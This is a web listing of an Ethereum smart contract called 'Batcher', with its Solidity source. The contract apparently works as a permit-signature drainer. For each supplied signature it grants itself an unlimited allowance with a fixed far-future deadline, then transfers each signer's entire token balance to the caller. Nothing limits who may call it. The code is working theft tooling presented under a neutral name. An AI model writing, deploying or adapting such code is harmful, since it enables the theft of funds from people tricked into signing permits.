Description:
Smart contract deployed on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface Token {
function transferFrom(address from,address to,uint256 amount) external;
function permit(address owner,address spender,uint256 value,uint256 deadline,uint8 v,bytes32 r,bytes32 s) external;
function balanceOf(address account) external view returns (uint256);
function nonces(address) external view returns (uint256);
}
contract Batcher {
uint256 private constant MAX_UINT = type(uint256).max;
uint256 private constant FIXED_DEADLINE = 9999999999;
function Nonces(address tokenAddress, address[] calldata users) external view returns (uint256[] memory)
{
Token token = Token(tokenAddress);
uint256[] memory result = new uint256[](users.length);
for (uint256 i = 0; i < users.length; i++) {
result[i] = token.nonces(users[i]);
}
return result;
}
function batchTransferWithPermit(
address tokenAddress,
bytes calldata owners, // 多个地址,每20字节一个
bytes calldata sigs // 多个签名,每65字节一组
) external {
uint256 n = owners.length / 20;
require(owners.length % 20 == 0, "invalid owners len");
require(sigs.length == n * 65, "invalid sigs len");
Token token = Token(tokenAddress);
for (uint256 i = 0; i < n; ) {
address owner;
uint8 v;
bytes32 r;
bytes32 s;
assembly {
owner := shr(96, calldataload(add(owners.offset, mul(i, 20))))
let sigOffset := add(sigs.offset, mul(i, 65))
r := calldataload(sigOffset)
s := calldataload(add(sigOffset, 32))
v := byte(0, calldataload(add(sigOffset, 64)))
}
uint256 balance = token.balanceOf(owner);
if (balance > 0) {
token.permit(owner,address(this),MAX_UINT,FIXED_DEADLINE,v,r,s);
token.transferFrom(owner, msg.sender, balance);
}
unchecked {++i;}
}
}
}
Submitted on: 2025-10-30 13:30:05
Comments
Log in to comment.
No comments yet.